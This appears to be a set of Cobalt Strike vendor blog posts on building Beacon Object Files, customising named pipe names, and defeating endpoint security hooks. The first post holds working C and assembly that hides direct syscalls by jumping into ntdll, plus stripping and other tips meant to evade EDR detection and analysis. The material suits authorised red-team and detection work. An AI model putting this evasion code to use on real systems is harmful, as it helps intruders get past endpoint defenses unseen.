Writing Beacon Object Files: Flexible, Stealthy, and Compatible

 

Our colleagues over at Core Security have been doing great things with Cobalt Strike, making use of it in their own engagements. They wrote up this post on creating Cobalt Strike Beacon Object Files using the MinGW compiler on Linux. It covers several ideas and best practices that will increase the quality of your BOFs.

Flexibility

Compiling to Both Object Files and Executables

While writing a BOF is great, it’s always worth making the code compile to both BOF and EXE.

This provides a lot more options: we could run our capability outside Beacon by just writing the EXE to disk and executing it. We could then convert it into position independent shellcode using donut and run it from memory.

Usually, calling a Windows API from Beacon Object File would appear as follows:

program.h

WINBASEAPI size_t __cdecl MSVCRT$strnlen(const char *s, size_t maxlen);

program.c

int length = MSVCRT$strnlen(someString, 256);
BeaconPrintf(CALLBACK_OUTPUT, "The variable length is %d.", length);

Makefile

BOFNAME := program
CC_x64 := x86_64-w64-mingw32-gcc
all:
    $(CC_x64) -c source/program.c -o compiled/$(BOFNAME).x64.o -masm=intel -Wall

However, we would like to create both a BOF and an EXE file using the same file. A practical option to achieve the creation of both files is to add a conditional compilation clause as shown below. In this example, we are using BOF:

Makefile

BOFNAME := program
CC_x64 := x86_64-w64-mingw32-gcc
all:
    $(CC_x64) -c source/program.c -o compiled/$(BOFNAME).x64.o   -masm=intel -Wall -DBOF
    $(CC_x64)    source/program.c -o compiled/$(BOFNAME).x64.exe -masm=intel -Wall

program.h

#ifdef BOF
WINBASEAPI size_t __cdecl MSVCRT$strnlen(const char *s, size_t maxlen);
#define strnlen MSVCRT$strnlen
#endif
#ifdef BOF
#define PRINT(...) { \
     BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); \
}
#else
#define PRINT(...) { \
     fprintf(stdout, __VA_ARGS__); \
     fprintf(stdout, "\n"); \
}
#endif

program.c

int length = strnlen(someString, 256);
PRINT("The variable length is %d.", length);

Finally, in our program.c file, we would define the “go” (BOF’s entry point) and “main” functions:

program.c

#ifdef BOF
void go(char* args, int length)
{
     // BOF code
}
#else
int main(int argc, char* argv[])
{
    // EXE code
{
#endif

Stealth

Syswhispers2 Integration

syswhispers2 is an awesome implementation of direct syscalls. However, if we take a look under the hood, we can see that it uses a global variable to achieve its objective. Unfortunately, global variables do not work very well with Beacon. This is because Beacon Object Files don’t have a .bss section, which is where global variables are typically stored.

A useful trick, originally suggested by Twitter user @the_bit_diddler, is to move the global variables to the .data section using a compiler directive, as shown below:

syscalls.c (before)

SW2_SYSCALL_LIST SW2_SyscallList;

syscalls.c (after)

SW2_SYSCALL_LIST SW2_SyscallList __attribute__ ((section(".data")));

This small change will allow the use of the syswhispers2 logic in a BOF.
In addition to the global variables change, there are other minor changes that need to be made so that the the code of syswhispers2 can compile with MinGW. For example, the API hashes format needs to be changed from 0ABCD1234h to: 0xABCD1234. The tool InlineWhispers should take care of the rest.

Using direct syscalls is a powerful technique to avoid userland hooks. Ironically, using them could get us caught.

There are at least two ways of detecting direct syscalls: dynamic and static.
The dynamic method is simply detecting that a syscall was called from a module that is not ntdll.dll. The static method is to find a syscall instruction by inspecting the program’s code and memory. How can we avoid both these detections? The answer is to call our syscalls from ntdll.dll.

First, we must locate where ntdll.dll is loaded. Luckily, syswhispers2 already has the code to do just that. Then, we can parse its headers and locate the code section.

Hiding the Use of syscalls

Once we know code section base address and size of ntdll.dll, all we need to do is search for the opcodes of the instructions syscall; ret. In x64, the bytes we are looking for are: { 0x0f, 0x05, 0xc3 }.

While it is true that EDRs and other tools hook (overwrite) syscalls in ntdll.dll, they certainly do not hook all existing syscalls, so we are guaranteed to find at least one occurrence of these three bytes. We might even find them by chance in a misaligned offset.

Once we find the syscall; ret bytes, we can save the address in a global variable (stored in the .data section). That way, we only need to find it once.

All what we have just described can be seen in the following code sequence:

syscalls.c

#ifdef _WIN64
#define PEB_OFFSET 0x60
#define READ_MEMLOC __readgsqword
#else
#define PEB_OFFSET 0x30
#define READ_MEMLOC __readfsdword
#endif

PVOID SyscallAddress __attribute__ ((section(".data"))) = NULL;
 
__attribute__((naked)) void SyscallNotFound(void)
{
    __asm__(" SyscallNotFound: \n\
        mov eax, 0xC0000225 \n\
        ret \n\
    ");
}

PVOID GetSyscallAddress(void)
{
#ifdef _WIN64
    BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };
#else
    BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };
#endif

    // Return early if the SyscallAddress is already defined
    if (SyscallAddress)
    {
        // make sure the instructions have not been replaced
        if (!strncmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
            return SyscallAddress;
    }
  
    // set the fallback as the default
    SyscallAddress = (PVOID) SyscallNotFound;
 
    // find the address of NTDLL
    PSW2_PEB Peb = (PSW2_PEB)READ_MEMLOC(PEB_OFFSET);
    PSW2_PEB_LDR_DATA Ldr = Peb->Ldr;
    PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
    PVOID DllBase = NULL;
    PVOID BaseOfCode = NULL;
    ULONG32 SizeOfCode = 0;
 
    // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
    // in the list, so it's safer to loop through the full list and find it.
    PSW2_LDR_DATA_TABLE_ENTRY LdrEntry;
    for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
    {
        DllBase = LdrEntry->DllBase;
        PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
        PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
        PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
        DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
        if (VirtualAddress == 0) continue;
 
        ExportDirectory = SW2_RVA2VA(PIMAGE_EXPORT_DIRECTORY, DllBase, VirtualAddress);
 
        // If this is NTDLL.dll, exit loop.
        PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
        if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue;
        if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c)
        {
            BaseOfCode = SW2_RVA2VA(PVOID, DllBase, NtHeaders->OptionalHeader.BaseOfCode);
            SizeOfCode = NtHeaders->OptionalHeader.SizeOfCode;
            break;
        }
    }
    if (!BaseOfCode || !SizeOfCode)
        return SyscallAddress;
 
    // try to find a 'syscall' instruction inside of NTDLL's code section
  
    PVOID CurrentAddress = BaseOfCode;
    PVOID EndOfCode = SW2_RVA2VA(PVOID, BaseOfCode, SizeOfCode - sizeof(syscall_code) + 1);
    while ((ULONG_PTR)CurrentAddress <= (ULONG_PTR)EndOfCode)
    {
        if (!strncmp((PVOID)syscall_code, CurrentAddress, sizeof(syscall_code)))
        {
            // found 'syscall' instruction in ntdll
            SyscallAddress = CurrentAddress;
            return SyscallAddress;
        }
        // increase the current address by one
        CurrentAddress = SW2_RVA2VA(PVOID, CurrentAddress, 1);
    }
    // syscall entry not found, using fallback
    return SyscallAddress;
}

syscalls.h

EXTERN_C PVOID GetSyscallAddress(void);

In the extremely unlikely scenario in which we do not find ANY occurrence of these three bytes in the code section of ntdll.dll, we can instead use our own function: SyscallNotFound. This simply returns STATUS_NOT_FOUND. We could implement a syscall; ret, but keep in mind that we want to avoid having the syscall instruction in our code in order to evade static analysis.

Once we have the memory address of interest, all we need to do is to modify the assembly of our syscall functions to jump to this memory address:

push rcx ; save volatile registers
push rdx
push r8
push r9
sub rsp, 0x28 ; allocate some space on the stack
call GetSyscallAddress ; call the C function and get the address of the 'syscall' instruction in ntdll.dll
add rsp, 0x28
push rax ; save the address in the stack
sub rsp, 0x28 ; allocate some space on the stack
mov ecx, 0x0123ABCD ; set the syscall hash as the parameter
call SW2_GetSyscallNumber ; get the id of the syscall using syswhispers2
add rsp, 0x28
pop r11 ; store the address of the 'syscall' instruction on r11
pop r9 ; restore the volatile registers
pop r8
pop rdx
pop rcx
mov r10, rcx
jmp r11 ; jump to ntdll.dll and call the syscall from there

And voilà, we use direct syscalls from a valid module (ntdll.dll) without having a syscall instruction in our code ????.

Stripping the Debug Symbols

While this step is not critical, stripping your binaries is clever enough that it is worth the extra step. Once completed, they are not only a lot harder to analyze but they also get smaller in size.

All we need to do is modify the Makefile to look as follows:

BOFNAME := program
CC_x64 := x86_64-w64-mingw32-gcc
STRIP_x64 := x86_64-w64-mingw32-strip
 
all:
    $(CC_x64) -c program.c -o compiled/$(BOFNAME).x64.o   -masm=intel -Wall -DBOF
    $(STRIP_x64) --strip-unneeded compiled/$(BOFNAME).x64.o
 
    $(CC_x64)    program.c -o compiled/$(BOFNAME).x64.exe -masm=intel -Wall
    $(STRIP_x64) --strip-all compiled/$(BOFNAME).x64.exe

While the EXE does end up being a smaller, stripping the BOF doesn’t reduce its size significantly (only around 500 bytes).

Once the debugging symbols are stripped, if the program is compiled without changing the code, the resulting object file and executable will be the same regardless of who compiled it. This means that everyone will get the same object files after compiling it.


Is that a bad thing? Potentially, but only if fingerprinting is a concern. The code could be slightly modified and recompiled. For example, the seed of syswhispers2 could be changed. If code is run from a Beacon or in memory in the form of shellcode, fingerprinting should not be worrisome, as static analysis in those cases is not possible.

Compatibility

Supporting x86 might seem hard and pointless, but we shouldn’t limit ourselves and have every 32-bit machine out of our reach. Supporting x86 is a fun challenge and pays off in the end.

Code Logic

We’ll begin by introducing some conditional compilation clauses based on the architecture:

#if _WIN64
// x64 version of some logic
#else
// x86 version of some logic
#endif

If we want to add some code that is exclusive to x64:

#if _WIN64
// some code only for x64
#endif

If we want to add some code that is exclusive to x86:

#ifndef _WIN64
// some code only for x86
#endif

X86 syscall Support

To support syscalls in x86, we will have to deal with a few difficulties that are very manageable.

Function Names Within x86 Assembly

The main issue that we can encounter trying to call the C functions SW2_GetSyscallNumber and GetSyscallAddress from x86 inline assembly, results in these compiler errors:

/usr/lib/gcc/i686-w64-mingw32/11.2.0/../../../../i686-w64-mingw32/bin/ld: /tmp/ccbjuGDN.o:program.c:(.text+0x68): undefined reference to `GetSyscallAddress'

/usr/lib/gcc/i686-w64-mingw32/11.2.0/../../../../i686-w64-mingw32/bin/ld: /tmp/ccbjuGDN.o:program.c:(.text+0x73): undefined reference to `SW2_GetSyscallNumber'

There is some GCC documentation which explains that, for some reason, in x86 inline assembly, C functions (and variables) are prepended with an underscore to their name. So, in this case,  GetSyscallAddress becomes _GetSyscallAddress and SW2_GetSyscallNumber becomes _SW2_GetSyscallNumber.

Instead of calling them with the underscore, we can just adapt their definition to specify their name in assembly, like this:

syscalls.h

EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash) asm ("SW2_GetSyscallNumber");
EXTERN_C PVOID GetSyscallAddress(void) asm ("GetSyscallAddress");

We also need to do the same with the definitions for all the syscalls in syscalls.h. For example, here’s how we can modify NtOpenProcess:

syscalls.h (before)

EXTERN_C NTSTATUS NtOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL);

syscalls.h (after)

EXTERN_C NTSTATUS NtOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL) asm ("NtOpenProcess");

Once this is done, the weird x86 naming system should work fine.

Syscalls With Conflicting Types

There are some syscalls that fail to compile in x86, and produce an error message like:

error: conflicting types for ‘NtClose’;

While there are surely others, these syscalls are confirmed to have this issue:

  • NtClose
  • NtQueryInformationProcess
  • NtCreateFile
  • NtQuerySystemInformation
  • NtQueryObject

It appears that in x86, MinGW already has a definition of these functions somewhere. To fix this, we just need to rename the troubling syscalls by prepending an underscore to their name in the x86 version.

program.h

In program.c, we can call these functions normally, without prepending the underscore to their name.

X86 Assembly Code

For the assembly code, we’ll need to update syscalls-asm.h to look as follows:

syscalls-asm.h

Finally, the x86 assembly will look like this:

After all these changes, we have syscalls x86 support.

WoW64 Support?

WoW64 stands for Windows on Windows64, which means there are 32-bit programs running on 64-bit Windows machines.In WoW64 processes, syscalls are not called via a syscall or sysenter instruction. Instead, a jump to fs:[0xc0] is performed. Understanding the way this works requires a long explanation, but for the purpose of this article, all we need to know is that it translates syscalls from 32 to 64-bit so that the kernel can understand them.

One quick way of “supporting” syscalls on WoW64 processes is to perform the same jump from our code. However, there are a few drawbacks when doing this. First, this is by no means a direct syscall. EDRs can hook these calls. Additionally, in some syscalls that use pointers, we will not be able to reference addresses above 32-bit.

Truly supporting direct syscalls for WoW64 processes would require us to transition via a far jmp instruction into 64-bit code, translate the parameters to their 64-bit counterparts, adjust the calling convention, set the stack alignment and more. These actions alone could make up an entire post.

That being said, jumping to fs:[0xc0] is an easy trick and at least we would have some support for WoW64, which might be useful for some scenarios.

To detect if our program is running as WoW64 process, we’ll define a function called IsWoW64:

syscalls-asm.h

#if _WIN64
#define IsWoW64 IsWoW64
__asm__("IsWoW64: \n\
mov rax, 0 \n\
ret \n\
");
#else
#define IsWoW64 IsWoW64
__asm__("IsWoW64: \n\
mov eax, fs:[0xc0] \n\
test eax, eax \n\
jne wow64 \n\
mov eax, 0 \n\
ret \n\
wow64: \n\
mov eax, 1 \n\
ret \n\
");
#endif

syscalls.h

EXTERN_C BOOL IsWoW64(void) asm ("IsWoW64");

program.c

    if(IsWoW64())
    {
        PRINT("This is a 32-bit process running on a 64-bit machine!\n");
    }

If detection is a concern when running under a WoW64 context, just call IsWow64() and bail out if it returns as true.
This can be checked on the .CNA file in Cobalt Strike:

program.cna

$barch = barch($1);
$is64 = binfo($1, "is64");
if($barch eq "x86" && $is64 == 1)
{
    berror($1, "This program does not support WoW64");
    return;
}

We’ll also need to make a small change to the function GetSyscallAddress in order to set the syscall address to fs:[0xc0] if the process Is WoW64:

PVOID GetSyscallAddress(void)
{
#ifdef _WIN64
    BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };
#else
    BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };
#endif
 
#ifndef _WIN64
    if (IsWoW64())
    {
        // if we are a WoW64 process, jump to WOW32Reserved
        SyscallAddress = (PVOID)READ_MEMLOC(0xc0);
        return SyscallAddress;
    }
#endif
 
    // Return early if the SyscallAddress is already defined
    if (SyscallAddress)
    {
        // make sure the instructions have not been replaced
        if (!strncmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
            return SyscallAddress;
    }
 
    // set the fallback as the default
    SyscallAddress = (PVOID)DoSysenter;
    …

Finally, we’ll update our Makefile to compile for both 64 and 32-bit.

Makefile

BOFNAME := program
CC_x64 := x86_64-w64-mingw32-gcc
CC_x86 := i686-w64-mingw32-gcc
STRIP_x64 := x86_64-w64-mingw32-strip
STRIP_x86 := i686-w64-mingw32-strip
 
all:
    $(CC_x64) -c program.c -o compiled/$(BOFNAME).x64.o   -masm=intel -Wall -DBOF
    $(STRIP_x64) --strip-unneeded compiled/$(BOFNAME).x64.o
 
    $(CC_x86) -c program.c -o compiled/$(BOFNAME).x86.o   -masm=intel -Wall -DBOF
    $(STRIP_x86) --strip-unneeded compiled/$(BOFNAME).x86.o

    $(CC_x64)    program.c -o compiled/$(BOFNAME).x64.exe -masm=intel -Wall
    $(STRIP_x64) --strip-all compiled/$(BOFNAME).x64.exe
 
    $(CC_x86)    program.c -o compiled/$(BOFNAME).x86.exe -masm=intel -Wall
    $(STRIP_x86) --strip-all compiled/$(BOFNAME).x86.exe
 
clean:
    rm compiled/$(BOFNAME).*.*

Conclusion

To summarize, this post explored several technical solutions to achieve the following objectives:

  • Create executables as well as BOF using the same codebase
  • Use syscalls from ntdll.dll instead of using them directly from an unknown module
  • Strip executables to make them smaller and harder to analyze
  • Run on both 64-bit and 32-bit
  • Have partial support for syscalls in WoW64

If you want to see an example of all this working together, check out nanodump.

TeamServer.prop

 

Following the 4.4 release, you may have noticed a warning message when starting your teamserver:

The missing file is optional and its absence does not break the teamserver. It contains a number of optional parameters that can be used to customize the settings used to validate screenshot and keylog callback data, which allows you to tweak the fix for the “HotCobalt” vulnerability. You can suppress the warning by creating an empty file called TeamServer.prop and saving it in your Cobalt Strike directory.

An example TeamServer.prop file can be downloaded from the Cobalt-Strike/TeamServerProp GitHub repository here. We recommend that either an empty “TeamServer.prop” file is created, the file is created but the default settings are used, or the warning is simply ignored. If, however, you want to make changes to those settings, you’re now able to do so.

The default TeamServer.prop file contains the following:

#Cobalt Strike Team Server Properties
#Fri May 07 12:00:00 CDT 2021
# ------------------------------------------------
# Validation for screenshot messages from beacons
# ------------------------------------------------
# limits.screenshot_validated=true
# limits.screenshot_data_maxlen=4194304
# limits.screenshot_user_maxlen=1024
# limits.screenshot_title_maxlen=1024
# Stop writing screenshot data when Disk Usage reaches XX%
# Example: Off
#          "limits.screenshot_diskused_percent=0"
# Example: Stop writing screenshot data when Disk Usage reaches 95%
#          "limits.screenshot_diskused_percent=95"
# Default:
# limits.screenshot_diskused_percent=95
# ------------------------------------------------
# Validation for keystroke messages from beacons
# ------------------------------------------------
# limits.keystrokes_validated=true
# limits.keystrokes_data_maxlen=8192
# limits.keystrokes_user_maxlen=1024
# limits.keystrokes_title_maxlen=1024
# Stop writing keystroke data when Disk Usage reaches XX%
# Example: Off
#          "limits.keystrokes_diskused_percent=0"
# Example: Stop writing keystroke data when Disk Usage reaches 95%
#          "limits.keystrokes_diskused_percent=95"
# Default:
# limits.keystrokes_diskused_percent=95
  • Lines starting with “#” are comments.
  • limits.*_data_maxlen is the maximum size of screenshot/keylog data that will be processed. Callbacks exceeding this limit will be rejected.
  • limits.*_validated=false means that the three following “…_maxlen” settings are ignored
  • Setting any of the “…_maxlen” settings to zero will disable that particular setting
  • limits.*_diskused_percent sets the threshold for callback processing. Callbacks are rejected when disk usage exceeds the specified percentage
    • limits.*_diskused_percent=0 (zero) disables this setting
    • Valid values are 0-99

Raphael's Transition

 

Friday was my last day at HelpSystems. I spent the day on the #Aggressor channel on Slack, put some final touches on a 12 month roadmap document, and worked with my colleagues to remove myself from a few systems I had originally designed. I had planned to get a blog post out yesterday, but the day ran right up to my dinner plans!

Cobalt Strike is in great shape. The product is no longer the efforts of one person. There’s a full research and development team behind it. Greg Darwin is the leader. You’ll see his announcements here and on the Cobalt Strike Technical Notes mailing list. Twitter announcements for Cobalt Strike will come from @CoreAdvisories as well.

You’ve seen the work of our R&D team. 4.3 was their release. I provided guidance, but they 100% carried it.

The team is filled with very senior software folks. All come from security backgrounds (one of our engineers was tech lead of HelpSystems’ server antivirus product). The forward mantra is to keep the product stable and to continue to give more flexibility into the product’s attack chain.

The above team was three folks one week ago. A fourth engineer joined this week. And, we’re recruiting our hacker-in-residence as well. The hacker-in-residence will pick up some aspects of my role: input on the overall product direction, providing subject matter expertise on offense topics, and interacting with and helping all of us learn from you.

You have a bigger ally now. HelpSystems’ business strategy in this space is simple. As red teaming succeeds as a practice, we’ll succeed as a business. Cobalt Strike is in good hands.

I want to thank you for the opportunity to work with you for the past decade. It was the greatest privilege of my career. For me, the biggest thrill in this work wasn’t related to the technology. It was watching your careers, seeing your successes, and feeling a small supporting role in it. Thanks for having me as part of it.

Learn Pipe Fitting for all of your Offense Projects

 

Named pipes are a method of inter-process communication in Windows. They’re used primarily for local processes to communicate with eachother. They can also facilitate communication between two processes on separate hosts. This traffic is encapsulated in the Microsoft SMB Protocol. If you ever hear someone refer to a named pipe transport as an SMB channel, this is why.

Cobalt Strike uses named pipes in several of its features. In this post, I’ll walk you through where Cobalt Strike uses named pipes, what the default pipename is, and how to change it. I’ll also share some tips to avoid named pipes in your Cobalt Strike attack chain too.

Where does Cobalt Strike use named pipes?

Cobalt Strike’s default Artifact Kit EXEs and DLLs use named pipes to launder shellcode in a way that defeats antivirus binary emulation circa 2014. It’s still the default. When you see \\.\pipe\MSSE-###-server that’s likely the default Cobalt Strike Artifact Kit binaries. You can change this via the Artifact Kit. Look at src-common/bypass-pipe.c in the Artifact Kit to see the implementation.

Cobalt Strike also uses named pipes for its payload staging in the jump psexec_psh module for lateral movement. This pipename is \\.\pipe\status_##. You can change the pipe via Malleable C2 (set pipename_stager).

Cobalt Strike uses named pipes in its SMB Beacon communication. The product has had this feature since 2013. It’s pretty cool. You can change the pipename via your profile and when you configure an SMB Beacon payload. I’m also aware of a few detections that target the content of the SMB Beacon feature too. The SMB Beacon uses a [length][data] pattern and these IOCs target predictable [length] values at the beginning of the traffic. The smb_frame_header Malleable C2 option pushes back on this. The default pipe is \\[target]\pipe\msagent_##.

Cobalt Strike uses named pipes for its SSH sessions to chain to a parent Beacon. The SSH client in Cobalt Strike is essentially an SMB Beacon as far as Cobalt Strike is concerned. You can change the pipename (as of 4.2) by setting ssh_pipename in your profile. The default name of this pipe (CS 4.2 and later) is \\.\pipe\postex_ssh_####.

Cobalt Strike uses named pipes for most of its post-exploitation jobs. We use named pipes for post-ex tools that inject into an explicit process (screenshot, keylog). Our fork&run tools largely use named pipes to communicate results back to Beacon too. F-Secure’s Detecting Cobalt Strike Default Modules via Named Pipe Analysis discusses this aspect of Cobalt Strike’s named pipes. We introduced the ability to change these pipenames in Cobalt Strike 4.2. Set post-ex -> pipename in your Malleable C2 profile. The default name for these pipes is \\.\pipe\postex_#### in Cobalt Strike 4.2 and later. Prior to 4.2, the default name was random-ish.

Pipe Fitting with Cobalt Strike

With the above, you’re now armed with knowledge of where Cobalt Strike uses named pipes. You’re also empowered to change their default names too. If you’re looking for a candidate pipename, use ls \\.\pipe from Beacon to quickly see a list of named pipes on a lived-in Windows system. This will give you plenty to choose from. Also, when you set your plausible pipe names, be aware that each # character is replaced with a random character (0-9a-f) as well.  And, one last tip: you can specify a comma-separated list of candidate pipe names in your ssh_pipename and post-ex -> pipename profile values. Cobalt Strike will pick from this list, at random, when one of these values is needed.

Simplify your Offense Plumbing

Cobalt Strike uses named pipes in several parts of its offense chain. These are largely optional though and you can avoid them with some care. For example, the default Artifact Kit uses named pipes; but this is not a requirement of the Artifact Kit. Our other Artifact Kit templates do not use named pipes. For lateral movement and peer-to-peer chaining of Beacons, the TCP Beacon is an option. To avoid named pipes from our SSH sessions, tunnel an external SSH client via a SOCKS proxy pivot. And, while a lot of our fork&run post-exploitation DLLs use named pipes for results, Beacon Object Files are another way to build and run post-exploitation tools on top of Beacon. The Beacon Object Files mechanism does not use named pipes.

Closing Thoughts

This post focused on named pipe names, but the concepts here apply to the rest of Cobalt Strike as well. In offense, knowing your IOCs and how to change or avoid them is key to success. Our goal with Cobalt Strike isn’t amazing and ever-changing default pipe names or IOCs. Our goal is flexibility. Our current and future work is to give you more control over your attack chain over time. To know today’s options, read Kits, Profiles, and Scripts… Oh my! This blog post summarizes ways to customize Cobalt Strike. Our late-2019 Red Team Operations with Cobalt Strike mixes these ideas into each lecture as well.


Interested in Trying Cobalt Strike?

REQUEST A QUOTE

Pushing back on userland hooks with Cobalt Strike

 

When I think about defense in the current era, I think of it as a game of instrumentation and telemetry. A well-instrumented endpoint provides a defense team and an automated security solution with the potential to react to or have visibility into a lot of events on a system. I say a lot, because certainly some actions are not easy to see [or practical to work with] via today’s instrumentation methods.

A popular method to instrument Windows endpoints is userland hooking. The process for this instrumentation looks like this:

(a) load a security product DLL into the process space [on process start, before the process starts to do anything]

(b) from the product DLL: installs hooks into certain APIs of interest. There are a lot of different ways to hook, but one of the most common is to patch the first instructions in a function-of-interest to jump to the vendor’s code, do the analysis, execute the patched over instructions, and resume the function just after the patch.

This method of instrumentation is popular because it’s easy-ish to implement, well understood, and was best practice in security products for a very long time. It’s still common in a lot of security technologies today.

The downside of the above instrumentation method is that it’s also suscpetible to tamper and attack by an adversary. The adversary’s code that lives in a process has the same rights and ability to examine and change code as the security product that installed itself there.

The above possibility is the impetus for this blog post. I’d like to walk you through a few strategies to subvert instrumentation implemented as userland hooks with the Cobalt Strike product.

Which products use hooks and what do they hook?

Each of these techniques does benefit from awareness of the endpoint security products in play and how [also, if] they use userland hooks to have visibility.  Devisha Rochlani did a lot of work to survey different products and document their hooks. Read the Anti-virus Artifacts papers for more on this.

To do target-specific leg work, consult Matt Hand’s Adventures in Dynamic Evasion. Matt discusses how to identify hooks in a customer’s environment right now and use that information to programatically craft a tailored evasion strategy.

Avoid Hooks with Direct System Calls

One way to defeat userland hooks is to avoid them by making system calls directly from our code.

A direct syscall is made by populating registers with arguments and a syscall number that corresponds to an API exposed to userland by the operating system kernel. The system call is then invoked with the syscall instruction. NTDLL is largely thin wrappers around these kernel APIs and is a place some products insert their hooks. By making syscalls directly from our code, and not calling them via NTDLL (or an API that calls them via NTDLL), we avoid these hooks.

The value of this technique is that we deny a security product visibility into our actions via this means. The downside is we have to adapt our code to working with these APIs specifically.

If a security product isn’t using userland hooks this technique provides no evasion value. If we use system calls for uninteresting (e.g., not hooked) actions–this technique provides no evasion value.

Also, be aware that direct system calls (outside of specific contexts, like NTDLL) can be disabled process-by-process in Windows 10. This is the ProcessSystemCallDisablePolicy. If something can be disabled, I surmise it can also be monitored and used for detection purposes too. This leads to a familiar situation. A technique that provides evasion utility now can also provide detection opportunities later on. This is a trueism with most things offense. Always keep it in mind when deciding whether or not to use a technique like this.

With the above out of the way, what are some opportunities to use system calls from Cobalt Strike’s Beacon?

One option is to use system calls in your EXE and DLL artifacts that run Cobalt Strike’s Beacon. The blog post Implementing Syscalls in the Cobalt Strike Artifact Kit walks through how to do this for Cobalt Strike’s EXEs and DLLs. The post’s author shared that VirtualAlloc, VirtualProtect, and CreateThread are calls some products hook to identify malicious activity. I’d also go further and say that if your artifact spawns a process and injects a payload into it, direct syscalls are a way to hide this behavior from some security stacks.

Another option is to use system calls within some of your Beacon post-exploitation activities. While Beacon doesn’t use direct system calls with any of its built-ins, you can define your own built-ins with Beacon Object Files. Cornelis de Plaa from Outflank authored Direct Syscalls from Beacon Object Files to demonstrate how to use Jackson T.‘s Syswhispers 1 (Syswhispers 2 just came out!) from Beacon Object Files. As a proof-of-concept, Cornelis released a Beacon Object File to restore plaintext credential caching in LSASS via an in-memory patch.

Building on the above, Alfie Champion used Outflank’s foundation and re-implemented Cobalt Strike’s shinject and shspawn as Beacon Object Files that use direct system calls. This provides a way to do process injection from Cobalt Strike, but evade detections that rely on userland hooks. The only thing that’s missing is some way for scripts to intercept Cobalt Strike’s built-in fork&run actions and override the built-in behaviors with a BOF. Hmmmmm.

Refresh DLLs to Remove Function Hooks

Another way to defeat userland hooks is to find hooks implemented as code patches and restore the functions to their original uninstrumented state. One way to do this is to find hooked DLLs in memory, read the original DLL from disk, and use that content to restore the mapped DLL to its unhooked state. This is DLL refreshing.

The simplest case of DLL refreshing is to act on NTDLL. NTDLL is a good candidate, because its really easy to refresh. You don’t have to worry about relocations and alternate API sets. NTDLL is also a good candidate because it’s a target for security product hooks! The NTDLL functions are often the lowest-level API that other Windows APIs call from userland. A well-placed hook in NTDLL will grant visibility into all of the userland APIs that use it.

You can refresh NTDLL within a Cobalt Strike Beacon with a Beacon Object File. Riccardo Ancarani put together a proof-of-concept to do this. Compile the code and use inline-execute to run it.

If NTDLL is not enough, you can refresh all of the DLLs in your current process. This path has more peril though. The DLL refreshing implementation needs to account for relocations, apisets, and other stuff that makes the unhooked code on disk differ from the unhooked code in memory. Jeff Tang from Cylance’s Red Team undertook this daunting task in 2017 and released their Universal Unhooker (whitepaper).

I’ve put together a Beacon Object File implementation of Cylance’s Universal Unhooker. The script for this BOF adds an unhook alias to Beacon. Type unhook and Beacon will pass control to the unhooker code, let it do its thing, and then return control back to Beacon.

Both of these techniques are great options to clean your Beacon process space before you start into other offense activities.

While the above are Beacon Object Files and presume that your Beacon is already loaded, you may also find it’s worthwhile to implement DLL refreshing in your initial access artifact too. Like direct system calls, this is a way to defeat userland hooking visibility that could affect your agent loading or its initial communications.

Prevent Hooks via Windows Process Mitigations

So far, we’ve discussed ways to defeat hooks by either avoiding them or undoing them. It’s possible to prevent hooking altogether too.

I became interested in this approach, when I learned that Google Chrome takes many steps to prevent security products from loading into its process space. Google was tired of entertaining crash reports from poorly implemented endpoint security products and opted to fight back against this in their own code. I share Google’s concerns about allowing an endpoint security product to share space with my post-exploitation code. My reasons are different, but we’re very much aligned on this cause!

The above led me to experiment with the Windows 10 process mitigation policy, BinarySignaturePolicy. A process run with a BinarySignaturePolicy of MicrosoftSignedOnly will refuse to load any DLL not signed by Microsoft into that process space. This mitigation prevents some security products from loading their DLLs into the new process space.

I opted to use the above to implement blockdlls in Cobalt Strike 3.14. blockdlls is a session prepping command to run processes with this flag set. The idea of blockdlls is processes spawned by Beacon will be free to act with less scrutiny, in some situations.

There are caveats to blockdlls. The mitigation is a recent-ish Windows 10 addition. It doesn’t work on versions of Windows where this mitigation isn’t implemented. Duh! And, security vendors do have the option to get Microsoft to sign their DLLs via an attestation service offered by Microsoft. A few made this exact move after Cobalt Strike weaponized this mitigation in version 3.14.

For more information on this technique and its variations, read Adam Chester’s Protecting Your malware with blockdlls and ACG. It’s a great overview of the technique and also discusses variations of the same idea.

Like direct system calls, I see the use of process mitigations as an evasion that is also potentially its own tell. Be aware of this tradeoff. Also, like direct system calls, this is an option that has use both during post-exploitation and in an initial access artifact. Any initial access artifact that performs migration (again, Cobalt Strike’s service executables do this) could benefit from this approach in some security stacks too.

Closing Thoughts

And, there you have it. This blog posted presented a few different techniques to defeat userland hooks with Cobalt Strike. Better, each of these techniques delivers benefit at different places in Cobalt Strike’s engagement cycle.

